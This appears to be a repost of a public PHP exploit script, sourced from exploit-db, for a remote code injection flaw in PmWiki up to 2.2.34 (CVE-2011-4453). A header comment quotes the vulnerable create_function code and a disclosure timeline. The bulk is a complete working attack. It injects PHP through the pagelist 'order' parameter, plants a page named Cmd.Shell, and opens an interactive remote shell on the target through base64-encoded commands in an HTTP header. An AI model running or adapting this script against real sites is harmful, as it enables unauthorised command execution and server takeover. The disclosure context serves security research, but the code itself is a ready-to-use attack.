PmWiki | João Paulo @little_oak (Gamedev & IT Consultant)

<?php

/*

-------------------------------------------------------------

PmWiki <= 2.2.34 (pagelist) Remote PHP Code Injection Exploit

-------------------------------------------------------------

author...............: Egidio Romano aka EgiX

mail.................: n0b0d13s[at]gmail[dot]com

software link........: http://www.pmwiki.org/

affected versions....: from 2.0.0 to 2.2.34

+-------------------------------------------------------------------------+

| This proof of concept code was written for educational purpose only. |

| Use it at your own risk. Author will be not responsible for any damage. |

+-------------------------------------------------------------------------+

[-] vulnerable code in PageListSort() function defined into /scripts/pagelist.php

452. $code = '';

453. foreach($opt['=order'] as $o => $r) {

454. if (@$PageListSortCmp[$o])

455. $code .= "$c = {$PageListSortCmp[$o]}; ";

456. else

457. $code .= "$c = @strcasecmp($PCache[$x]['$o'],$PCache[$y]['$o']); ";

458. $code .= "if ($c) return $r$c;n";

459. }

460. StopWatch('PageListSort sort');

461. if ($code)

462. uasort($list,

463. create_function('$x,$y', "global $PCache; $code return 0;"));

464. StopWatch('PageListSort end');

Input passed through 'order' parameter of 'pagelist' directive isn't properly sanitized before being used

in a call to create_function() at line 463. This can be exploited to inject and execute arbitrary PHP code.

Successful exploitation of this vulnerability might require authentication if the wiki isn't public writable.

[-] Disclosure timeline:

[09/11/2011] - Vulnerability discovered

[11/11/2011] - Issue reported to http://www.pmwiki.org/wiki/PITS/01271

[11/11/2011] - Version 2.2.35 released: http://www.pmwiki.org/wiki/PmWiki/ChangeLog#v2235

[12/11/2011] - CVE number requested

[15/11/2011] - Assigned CVE-2011-4453

[23/11/2011] - Public disclosure

*/

error_reporting(0);

set_time_limit(0);

ini_set("default_socket_timeout", 5);

function http_send($host, $packet)

{

if (!($sock = fsockopen($host, 80)))

die("n[-] No response from {$host}:80n");

fputs($sock, $packet);

return stream_get_contents($sock);

}

print "n+------------------------------------------------------------+";

print "n| PmWiki <= 2.2.34 Remote PHP Code Injection Exploit by EgiX |";

print "n+------------------------------------------------------------+n";

if ($argc < 3)

{

print "nUsage......: php $argv[0] <host> <path>n";

print "nExample....: php $argv[0] localhost /";

print "nExample....: php $argv[0] localhost /pmwiki/n";

die();

}

$host = $argv[1];

$path = $argv[2];

$phpcode = "']);error_reporting(0);passthru(base64_decode($_SERVER[HTTP_CMD]));print(___);die;#";

$payload = "action=edit&post=save&n=Cmd.Shell&text=(:pagelist order={$phpcode}:)";

$packet = "POST {$path}pmwiki.php HTTP/1.0rn";

$packet .= "Host: {$host}rn";

$packet .= "Content-Length: ".strlen($payload)."rn";

$packet .= "Content-Type: application/x-www-form-urlencodedrn";

$packet .= "Connection: closernrn{$payload}";

if (!preg_match("/Location/", http_send($host, $packet))) die("n[-] Edit password required?!n");

$packet = "POST {$path}pmwiki.php HTTP/1.0rn";

$packet .= "Host: {$host}rn";

$packet .= "Cmd: %srn";

$packet .= "Content-Length: 11rn";

$packet .= "Content-Type: application/x-www-form-urlencodedrn";

$packet .= "Connection: closernrnn=Cmd.Shell";

while(1)

{

print "npmwiki-shell# ";

if (($cmd = trim(fgets(STDIN))) == "exit") break;

$response = http_send($host, sprintf($packet, base64_encode($cmd)));

preg_match("/nrn(.*)___/s", $response, $m) ? print $m[1] : die("n[-] Exploit failed!n");

}

?>

Fonte: http://www.exploit-db.com/exploits/18149/